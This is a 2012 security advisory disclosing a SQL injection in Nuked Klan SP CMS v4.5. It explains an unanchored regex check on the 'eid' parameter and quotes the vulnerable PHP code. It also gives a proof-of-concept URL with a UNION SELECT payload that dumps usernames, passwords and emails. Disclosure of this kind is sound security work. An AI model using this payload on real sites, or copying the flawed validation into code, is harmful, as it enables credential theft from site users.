Nuked Klan SP CMS v4.5 - SQL injection Vulnerability

Document Title:
===============
Nuked Klan SP CMS v4.5 - SQL injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=610


Release Date:
=============
2012-06-08


Vulnerability Laboratory ID (VL-ID):
====================================
610


Common Vulnerability Scoring System:
====================================
8


Product & Service Introduction:
===============================
Nuked-Klan is an open source CMS. It allows you to install and administer a website in a simple and interactive.
It simply requires a hosting PHP / MySQL to work. Nuked-Klan is specialized in network games and clan management 
with its version Gamer, however, a general version of SP is named.

(Copy of the Vendor Homepage: http://www.nuked-klan.org/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability and regex ereg bypass in the Nuked Klan SP v4.5 CMS.


Vulnerability Disclosure Timeline:
==================================
2012-06-08:	Public Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQL Injection vulnerability & a misconfiguration are detected in the Nuked Klan SP v4.5 Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own 
sql commands on the affected application dbms without user inter action. Successful exploitation of the 
vulnerability results in dbms & application compromise. The vulnerabilities are located in misconfigured 
regex ereg condition when processing to request the eid variable.

Vulnerable File(s):
			[+] index.php

Vulnerable Parameter(s):
			[+] eid


Proof of Concept (PoC):
=======================
The sql injection vulnerability can be exploited by remote attackers without required user inter action.
For demonstration or reproduce ...

Before continuing to exploit, you need to know the procedure about how  "Eid" variable  is handled (behind).
First the user is sending a GET request with "eid" as argument then it passed to the function `show_event()`. 
Now we review the content of the file "/modules/Calendar/index.php " as example ...

function show_event()
    {
        global $bgcolor2, $eid, $type, $d, $m, $y, $user, $nuked, $theme, $language;

        if ($type == "birthday" && ereg("[a-zA-Z0-9]+$", $eid)) 
        {
            $sql = mysql_query("SELECT pseudo, prenom, age FROM " . USER_TABLE . " WHERE id = '" . $eid . "'");
            list($pseudo, $prenom, $birthday) = mysql_fetch_array($sql);
            $pseudo = stripslashes($pseudo);
            $prenom = stripslashes($prenom);  ...

This function will check if a variable contains only alpha-num characters or not, as you can see on this regex
ereg("[a-zA-Z0-9]+$", $eid)  the programmer has forget to add begin check `^`. Remote attackers can bypass the 
validation by adding  any own special character like  (+,--,#,% ) followed by the string to validate the above condition.

PoC:
http://127.0.0.1:80/nk/index.php?file=Calendar&nuked_nude=index&op=show_event&eid=
0'union+select+version(),concat(pseudo,0x3a,pass,0x3a,email),3+from+nuked_users+where%20'vuln-lab'='vuln-lab&type=birthday 


Security Risk:
==============
The security risk of the sql injection vulnerability is estimated as high.



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Karim H.B. ([email protected])


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=========================
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